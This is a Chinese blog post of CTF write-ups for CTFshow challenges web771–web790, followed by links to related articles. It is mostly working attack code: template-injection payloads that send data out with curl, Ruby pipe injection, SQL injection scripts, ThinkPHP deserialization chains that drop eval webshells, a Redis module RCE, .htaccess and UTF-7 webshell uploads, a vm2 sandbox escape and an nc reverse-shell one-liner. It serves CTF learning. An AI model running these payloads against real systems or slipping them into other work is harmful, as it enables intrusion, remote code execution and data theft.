CTFSHOW大赛原题篇(web771-web790)

ctfshow web入门 大赛原题 web680--web688 不能使用的函数是这些但是还是可以看文件的看根目录啥也没有看当前目录或者直接访问下载文件。 阅读详情

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。
暂时先更新到这了,毕竟还是要工作的。。。。

web771

GXYCTF2019 你的名字
题目过滤了{{}} 只要使用就直接报错,所以只能用{%%}进行盲注了
然后也过滤了一些字符,但是只是替换成空了。所以可以直接往想使用的字符里嵌入。
剩下的就是在基础的命令上改下就可以了。

{{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
name={%25iconfigf x.__claifss__.__inifit__.__gloifbals__['__buconfigiltins__']['evifal']("__impifort__('o''s').poconfigpen('curl http://xxxx?s=`cat /F*`').read()")%25}1{%25endiconfigf%25}

还有个要注意的点就是这环境竟然没有base64,不知道是我的问题还是题目的问题。
倒是base32可以用。

web773

2021第五空间 PNG图片转换器
原题给了源码的。。。。。
只能在这贴一下了

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

考察ruby open函数漏洞
如果传递给open函数的文件名参数是以“|”开头,Ruby会打开一个管道句柄并执行后面的命令。

在这里插入图片描述
这里提交的文件名只能是.png结尾的,payload如下。

ls /
file=|echo bHMgLw==|base64 -d|sh > a.png
file=a.png

cat /F*
file=|echo Y2F0IC9GKg==|base64 -d|sh > a.png
file=a.png

web774

考点其实就下面一个地方,利用地址符赋值就可以了。
在这里插入图片描述

<?php  

class acp 
{   
    public $cinder;  
    public $neutron;
    public $nova;

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
}  
$a=new acp();
$b=new ace();
$c=new ace();
$b->docker=$c;
$b->nova=&$b->openstack;
$b->filename='flag.php';
$a->cinder=$b;
echo serialize($a);

?>


web775

原题是有源码的…

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

其实就是要让我们查询出来的password和我们post传入的password相同。

先来看下payload

'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#

参考博客https://www.cnblogs.com/kingbridge/articles/15818673.html
这位师傅写的很详细,下面引述一下

CHAR(34)="
CHAR(39)='
CHAR(33)=!

我们令
str2= "/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#
str1= '/**/union/**/select(REPLACE(REPLACE('!',CHAR(34),CHAR(39)),CHAR(33),'!'))#
(两者区别是引号)
刚才的payload就可以看成

'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#

执行内层replace后,str2中的双引号变成单引号,也就成了str1
payload变成
'/**/union/**/select(REPLACE(str1,CHAR(33),'str2'))#
接着str1中的!被替换成了str2
也就是
'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
和一开始输入的password完全相同。

web776

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
$a=new A();
$a->code="file_put_contents('a.php','<?php eval(\$_POST[1]);?>');";
$a->s='123';
$b=new B();
$b->a=$a;
echo serialize($b);

序列化后将大写的B改成小写的b,将A后面的数字2改成1。
用蚁剑连接。
最后是一个绕过disable_function
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php
直接蚁剑创建一个新文件把内容复制上去就可以。
当然题目网站根目录下还给了一个config文件,里面有redis的密码。
肯定预期解是通过redis来getshell了。

<?php 
$host='127.0.0.1';
$fp = fsockopen("$host", 6379, $errno, $errstr, 30);
$out = "AUTH you_cannot_guess_it\r\n";
$out .="module load /var/www/html/exp.so\r\n";
$out .="system.exec 'cat /c*'\r\n";
$out .= "QUIT\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
    echo fgets($fp, 128);
}
fclose($fp);

exp.so获取方法https://github.com/vulhub/redis-rogue-getshell

cd RedisModulesSDK/
make

把文件传到/var/www/html下运行即可。

web 777

访问www.zip下载源码
第一步是个tp5的sql注入漏洞

username[0]=not like&username[1][0]=%25%25&username[1][1]=233&username[2]=) union select 1,'123','123'%23&password=123

进入管理员页面存在文件上传,但是后缀是白名单,另外还有一个listpic函数
其中的is_dir可以触发phar。
那就好说了,上传一个phar然后触发。

<?php
namespace think;
use think\session\driver\Memcache;
class Process
{
    private $processPipes;
    private $status;
    private $processInformation;
    public function  __construct(){
        $this->processInformation['running']=true;
        $this->status=3;
        $this->processPipes=(new Memcache(1));
    }
}


namespace think;
class Model{}


namespace think\model;
use think\Model;
class Merge extends Model{
    public $a='1';
    public function __construct(){}
}


namespace think\model\relation;
use think\console\Output;
use think\db\Query;
use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
    //protected $baseQuery=true;
    protected $parent;
    protected $localKey='a';
    protected $foreignKey='a';
    protected $pivot;
    public function __construct(){
        $this->query=new Output();
        $this->parent= new Merge();

    }
}


namespace think\model;
class Relation{}


namespace think\db;
class Query{}


namespace think\console;
class Output{
    protected $styles = [
        'info',
        'error',
        'comment',
        'question',
        'highlight',
        'warning',
        'getTable',
        'where'
    ];
    private $handle;
    public function __construct()
    {
        $this->handle = (new \think\session\driver\Memcache(0));
    }
}


namespace think\session\driver;
class Memcache
{
    protected $handler;
    public function __construct($i)
    {
        if($i==0){
            $this->handler = (new \think\cache\driver\Memcached(0));
        }else{
            $this->handler = (new \think\model\relation\HasMany);
        }
    }
}


namespace think\cache\driver;
class Memcached
{
    protected $tag;
    protected $options;
    protected $handler;

    public function __construct($i)
    {
        if($i==0){
            $this->tag = true;
            $this->options = [
                'expire'   => 0,
                'prefix'   => 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+',  /* eval($_POST[1]);?> */
            ];
            $this->handler = (new File);
        }
    }
}

class File
{
    protected $tag;
    protected $options;
    public function __construct()
    {
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
        ];
    }
}

@unlink("phar.phar");
$phar = new \Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata(new \think\Process()); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
url?s=admin/index/listpic
dir=phar://static/img/person.jpg

执行成功后会生成一个fd25663b72dc7867bc6b0764ce53cd49.php ,密码是1,蚁剑连接可以拿到flag。

web778

未给源码,直接要的payload
payload

urlindex.php?g=index&m=home&a=index&doge[_filename]=/var/log/nginx/access.log

web779

利用od和linux中的通配符

myfavorite=mewtwo&dream=od%09-c%09/f[f-o][]-b]g

web780

访问/www.zip下载下来tp源码,是个反序列化题
其实这个题只要绕过那个正则表达式就可以了。因为需要进行下面的解析,解析完成后进入判断,那么我们直接让他解析失败,die就不可能被执行到了。
///index.php?payload=xxxxx

parse_url($_SERVER['REQUEST_URI']);

最后就是一个链子了,题目是tp6了,网上一搜一大堆。

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["yu22x" => "cat /f*"];
    private $withAttr = ["yu22x" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

web781

首先通过异或绕过正则表达式
然后利用.htaccess上传php文件

import requests  
url="http://076659f4-4ac2-4b8b-b947-0c0c146dfa26.challenge.ctf.show/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
htaccess ='''#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"'''

jpg='''#define width 1337
#define height 1337
+ADw?php eval(+ACQAXw-POST+AFs-1+AF0)+ADs?+AD4-'''

files1={'file':('.htaccess',htaccess,'images/png')}

files2={'file':('2.jpg',jpg,'images/png')}

r=requests.post(url,files=files1)
r=requests.post(url,files=files2)

其中上传php编码文件内容是utf-7的,可以通过下面的php代码生成

<?php 
echo iconv('UTF-8', 'utf-7', '<?php eval($_POST[1]);?>');
?>

剩下的蚁剑连接根目录下就可以找到flag了。

web782

开局一个注入,但是过滤了一个比较关键的字符from,经过几次尝试发现挺难绕过的,但是不要把思维局限,我们现在除了可以查数据库,其实还可以把answer的值注入出来。

import requests
import base64
import string 
url="http://2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show/"
s=string.ascii_letters+string.digits
answer=''
for i in range(1,10):
	print(i)
	for j in s:
		#payload="?answer=1'||if(substr(database(),{0},1)='{1}',1,0)%23".format(i,j)
		payload="?answer=1'||if(substr(answer,{0},1)='{1}',1,0)%23".format(i,j)
		u=url+payload
		r=requests.get(u)
		if("Wrong" in r.text):
			answer+=j
			print(answer)
			break

得到answer为7ujm6yhn,输入后会进到flag.php页面,存在命令执行。
但是测试发现过滤了数字字母。
这也好说,利用上传临时文件,具体原理可参考之前写的文章无数字字母rce

#coding:utf-8
#author yu22x
import requests
url="http://2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show/flag.php"
data={'cmd':'. /???/????????[?-[]'}
headers={'Cookie':'PHPSESSID=53964734d4bc928487088a2fbdf83b13'}
files={'file':'cat /f*'}
while True:
	response=requests.post(url,files=files,data=data,headers=headers)
	html = response.text
	if "ctfshow{" in html:
		print(html)
		break

web784

利用pearcmd.php进行文件包含。
参考文章
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
https://blog.youkuaiyun.com/rfrder/article/details/121042290
尝试了几种方法,发现下载文件的可用。
在vps上写一个shell.txt,内容为一句话木马

<?php eval($_POST[1]);?>

接着包含pearcmd文件
?file=/usr/local/lib/php/pearcmd.php&+download+http://ip/shell.txt

shell.txt

<?php eval($_POST[1]);?>

最后包含生成的shell.txt即可。

GET:
?file=shell.txt
POST:
1=echo `cat /f*`;

web785

1、本地生成一个/var/www/html目录的软链接test,接着将其打包成test1.zip
2、生成一个目录test,在里面创建一个一句话木马a.php,并将整个目录打包成test2.zip
3、上传两个文件夹,在上传时使用相同的名称。
4、在解压后由于使用-o参数test文件夹会覆盖掉test软链接,进而将a.php写入test软链接对应的/var/www/html目录中。

ln -s /var/www/html test;zip --symlinks test1.zip test;rm -rf test;mkdir test;cd test;echo '<?php eval($_POST[1]);?>' >a.php;cd ..;zip -q -r test2.zip *
import requests  
url="http://7d0c6496-ff84-4083-9bcc-ffe2d9813f00.challenge.ctf.show/"
files={'file':('test.zip',open('test1.zip','rb'),'image/png')}
files2={'file':('test.zip',open('test2.zip','rb'),'image/png')}
requests.post(url,files=files)
requests.post(url,files=files2)

web786

有类有写文件很容易想到利用phar进行反序列化。首先构造生成phar文件。
难点在于如何绕过过滤。
绕过//注释很简单,直接一个换行就可以了。剩下的就是代码怎么写了。
我这里是用的取反。
比如我们写入如下代码,其实会执行system('cat /f*');
具体生成方法可以参考之前写的无数字字母绕过的一片文章。

<?php 
$_=~urldecode("%8c%86%8c%8b%9a%92");$__=~urldecode("%9c%9e%8b%df%d0%99%d5");$_($__);
?>

有同学可能会问了,题目不是过滤了引号和字母吗?
其实我们在url地址栏里面传入会自动url解码的,也就不需要urldecode函数了。
比如我们执行代码

file_put_contents("a.php",urldecode('<?php //%0a$_=~(%8c%86%8c%8b%9a%92);$__=~(%9c%9e%8b%df%d0%99%d5);$_($__);'));

生成的文件内容如下:
在这里插入图片描述
运行即可执行system(“cat /f*”);
当然我这里只是提供一种思路,应该还有挺多方法,欢迎大家补充。
具体payload如下:

<?php 
//生成恶意phar文件
class ctfshow{
}

$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new ctfshow();
$object ->code= urldecode('%0a$_=~(%8c%86%8c%8b%9a%92);$__=~(%9c%9e%8b%df%d0%99%d5);$_($__);');
$object->name="aa.php";
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
import requests
import base64
url="http://d9872377-e4ea-4719-a371-44564df940ed.challenge.ctf.show/"
#上传phar文件
content1=(base64.b64encode(open('shell.phar','rb').read())).decode()
name1="php://filter/write=convert.base64-decode/resource=a"
requests.post(url,data={'name':name1,'content':content1})

#触发反序列化
name2="phar:///var/www/html/a"
content2='123'
requests.post(url,data={'name':name2,"content":content2})

#获取flag
r=requests.get(url+'aa.php')
print(r.text)

web787

调用匿名函数

$key = create_function("","die(`cat /flag.txt`);");
echo $key;

//结果
//\00lambda_1

也就是说我们可以使用"\00lambda_1()"来调用该匿名函数。
但是后面的1不是固定的
他代表的是当前进程中的第几个匿名函数,所以拿burp爆破即可。
在这里插入图片描述
在这里插入图片描述

web788

同[0CTF 2016]piapiapia
把config.php改成flag.php即可,别忘了修改长度。

web789

perl的,不是很懂,可用参考文章https://blog.youkuaiyun.com/weixin_44037296/article/details/112283424
上传文件的时候抓包
构造如下payload

在这里插入图片描述
在这里插入图片描述

web790

vm2沙箱逃逸
payload

?data=(function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("xxx").toString();
	}
})()

直接反弹shell有些问题,但是里面有nc,可以用下面的命令进行反弹

kfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
ctfshow 大赛原题 web689--web695 path这里可以写入文件这里的%26是但是如果直接写的话不能正确的绕过,必须写url形式写马方便。 阅读详情

相关推荐

CTFshow 文件包含 web79

目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:12:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){

Kradress的博客 771

CTFShow-大赛原题改编(未完慢慢更)

文章目录web680web681web682web683web684 create_function()web685web686(无参RCE)姿势一 getallheaders()姿势二 get_defined_vars()姿势三 session_id()web687web688 escapeshellcmd()web689 ssrfmeweb690web691order by 的一个盲注小技巧web692web693web694web695web696web697web698web711web71

paidx0 3236

一文读懂YOLO V5 与 YOLO V4

一文读懂YOLO V5 与 YOLO V4 YOLO之父Joseph Redmon在今年年初宣布退出计算机视觉的研究的时候,很多人都以为目标检测神器YOLO系列就此终结。然而在4月23日,继任者YOLO V4却悄无声息地来了。Alexey Bochkovskiy发表了一篇名为YOLOV4: Optimal Speed and Accuracy of Object Detection的文章。YOLO V4是YOLO系列一个重大的更新,其在COCO数据集上的平均精度(AP)和帧率精度(FPS)分别提高了10%

williamhyin的博客 8796

CTFSHOW大赛原题篇(web756-web770)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。 文章目录web756web757web758web759web760web761web762web782web785web786web787web788web789 web756 code=GLOBALS web757 每次传入的key前七个字符需要是上传返回的,并且substr(md5($value),5,4)==0) 因为不是每一次md5都有可能字母开头,所以我们需要多测试几次,直接在给的key后面不断加字符就可以了。 import reque

羽的博客 1588

高动态范围结构光三维测量技术:从多曝光融合到深度学习的演进与应用

本文深入探讨了高动态范围结构光三维测量技术的演进与应用,从传统的多曝光融合技术到深度学习驱动的创新方案。通过工业案例展示了该技术在提升测量精度和效率方面的显著优势,特别是在处理高反光、复杂表面时的突破性表现。文章还提供了针对不同工业场景的技术选型指南,帮助工程师优化三维测量解决方案。

weixin_29063979的博客 293

UniApp实战:5分钟搞定极光推送(JG-JPush)从配置到消息测试全流程

本文详细介绍了如何在UniApp中快速集成极光推送(JG-JPush),从基础配置到核心代码实现,再到双端调试技巧和高级功能扩展。通过5分钟全流程指南,开发者可以轻松实现消息推送功能,提升应用的用户触达率。

sat99的博客 682

CTFSHOW大赛原题篇(web711-web725)

文章目录web711web712web713web782web785web786web787web788web789 web711 扫描目录发现存在robots.txt,提示static/secretkey.txt 访问得到一串字符串ctfshow_love_you 然后进入正常的页面,有个登录和注册,随便注册个用户并且登录后,发现存在文件上传点。 但是上传php后缀的文件不解析,应该不是php写的了。 看下session,应该是一个jwt加密的。那就好说了,伪造一个admin用户,而且加密的秘钥应该就是刚

羽的博客 4548

Zipformer实战:5分钟快速搭建语音识别模型(附LibriSpeech测试结果)

本文提供了一份详细的Zipformer语音识别模型实战指南。通过清晰的步骤,指导读者在5分钟内完成从环境配置、LibriSpeech数据集准备到模型训练与测试的全过程。文章重点解析了关键配置参数,并分享了在LibriSpeech测试集上的性能结果,帮助开发者快速评估和应用这一高效的语音识别架构。

weixin_35578748的博客 164

ctfshow 大赛原题 680-695

ctfshow 大赛原题

blowed的博客 1917

西门子TP900精智系列触摸屏和三菱Q系列PLC以太网通信的组态步骤

西门子TP900精智系列触摸屏和三菱Q系列PLC以太网通信的组态步骤

Robot_PLC_HMI_Automation 6100

基于STM32、HAL库的TPL0501数字电位器驱动程序设计

@param value 输出值(0-255)* @param hdev TPL0501句柄。* @param hdev TPL0501句柄。* @brief 获取TPL0501当前设置值。* @param hdev TPL0501句柄。* @brief 获取TPL0501当前设置值。* @brief 设置TPL0501输出值。* @brief 设置TPL0501输出值。* @return 当前值(0-255)* @brief 初始化TPL0501。* @brief 初始化TPL0501。

corlin6688的博客 1027

CTFSHOW大赛原题篇(web696-web710)

文章目录web696web697web698web699web700web701web702web703web704web705web707web708web709web710 web696 下载源码是个django的框架。 web1里面的利用点很明显,存在一个ssrf 而在web2的app.py中存在ssti模板注入 所以我们的目的就是通过web1来访问web2,最终通过ssti达到rce的,目的。 在web1中我们想利用ssrf必须先得到token,也就是需要用admin登录。 所以我们要做的第一

羽的博客 2318

手把手教你学Simulink——基于通信协议与标准的场景实例:卫星通信中的网络安全协议(IPSec)仿真

随着卫星通信在国防、金融、应急指挥、能源管网等关键领域的广泛应用,其安全性已成为系统设计的核心要求。然而,卫星链路具有广播特性、长距离传输、地面站分布广等特点,极易遭受窃听、篡改、重放、中间人攻击等网络威胁。传统的“信任链路层安全”已不足以应对现代网络攻击。为此,国际标准组织(如IETF、ETSI、CCSDS)推荐在卫星通信中部署协议,实现端到端的数据机密性、完整性、身份认证和抗重放保护。本文将手把手教你如何在中构建一个符合标准的仿真系统,涵盖从明文传输到加密隧道的完整安全链路建模。本文完整实现了。

MHD0815的博客 149

CTFSHOW大赛原题篇(web726-web740)

web726 username=;eval($_POST[1]);phpinfo();// username=%00 同之前的web692 web727 自增绕过 $_=[];$_=$_.'';$_=$_[';'=='$'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;

羽的博客 1347

PLC如何控制电子膨胀阀(暖通空调/制冷系统)

电子膨胀在冷水机空调系统里广泛采用,大部分空调系统都会有电子膨胀阀,但是电子膨胀阀的控制接口和普通电磁阀完全不同,所以想要PLC直接控制电子膨胀阀,还是比较麻烦的,电子膨胀阀可以理解为一个简易步进电机,体积非常小,线圈和转子部分可以分离。下面我们看下PLC如何控制电子膨胀阀。

RXXW_Dor的博客 4761

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

ctfshow-大赛原题-web702

我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头。(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了。现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了。// www.zip 下载源码。

Rsecret2的博客 1200

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

php文件包含-CTFshow-web79

0 前言 在上一篇文章,我们尝试 5 种协议来实现文件包含。但在 web79 中,代码使用 str_replace 函数将字符串中的 php 替换成 ??? ,所以我们要尽可能的避免使用关键字 php。 1 file:// 或 不使用协议 方法同 php文件包含-CTFshow-web78 。 2 http:// 在上一篇文章中,使用的链接为 https://blog-1256032382.cos.ap-nanjing.myqcloud.com/eval.php,在链接的尾部含有 php 关键字,无法直接

读万卷书,行万里路。 625

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

ctfshow-web入门-文件包含(web78、web79、web80、web81)

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。此外我们也可以使用 data:// 协议进行代码执行,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。会将我们输入的 php 替换为问号?

Welcome To My6n Blog 3809

Ctfshow web入门-web79-web81 WP

web79 查看源码发现没有过滤,直接php伪协议包含 知识点——php伪协议 ,伪协议有很多,文件包含可以用php://filter payload: ?file=php://filter/read=convert.base64-encode/resource=需要包含的文件 执行,获取到base64加密之后的字符串然后解码 web80 查看代码,发现str_replace过滤了php,这个可以用大小写绕过,但是这里不推荐,因为能data命令执行 知识点——data命令执行: data:text/

qq_45427131的博客 1708

ctfshow web入门文件包含web78-81

ctfshow web入门文件包含web78-81

m0_62207170的博客 302

2222222

wp

m0_74011969的博客 478

[ctfshow web入门-大赛原题]web785-800(部分)

ctfshow web入门大赛原题 乱序写写 有新做的就补上去吧 稍微刷几个做的人比较少的heihei 顺便记录一下参考羽师傅的文章 brain.md: test文件夹覆盖掉软连接 test文件夹中的内容会写入原来test软连接对应的目录 我们动手实测一下 先在uploads目录下建立一个test软连接 然后在别的地方建立一个test文件夹里面随便放个东西 将test文件夹mv至uploads目录下 可以发现软连接所指向的目录多出了test文件夹里存放的东西 niubi 又学到了 zip --symlin

weixin_45751765的博客 1608

CTFSHOW web680-780(大赛原题)

ctfshow CTF ctfshow大赛原题

qq_37561898的博客 4546

CTFSHOW大赛原题篇(web680-web695)

CTFSHOW大赛原题篇 web680 code=phpinfo(); 先看下disable_function,有一堆过滤。并且open_basedir做了目录限制。 r然后看下当前目录下的文件 code=var_dump(scandir(".")); 发现一个文件secret_you_never_know 直接访问就拿到flag了 。。。。。。(大无语) web681 登录的时候抓个包,比如我们传name=123会返回sql语句 select count(*) from ctfshow_users whe

羽的博客 3618

ctfshow学习记录-web入门(文件包含78-87)

ctfshow学习记录-web入门(文件包含web78-87)

龟速更新的九某人 2844

CTFSHOW做题记录

CTFSHOW做题记录 ** CTFSHOW做题记录1 ** (菜菜的我要写日记啦,欢迎大佬指导) ** 密码学签到1 给出“}wohs.ftc{galf”并且提示倒叙。 ** 解题思路: 没看提示的时候乍一看以为是栅栏密码,还想着用在线解密去做,但是定睛一看不对劲,再看题目原来就是倒叙。只需要反着来就好啦。 ** 答案: flag{ctf.show} ** 今天也是元气满满的一天,好好学习。 ...

weixin_45990644的博客 726
上一篇: CTFSHOW大赛原题篇(web741-web755)
下一篇: CTFSHOW大赛原题篇(web756-web770)
yu22x
博客等级 码龄7年 3740粉丝 121原创
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值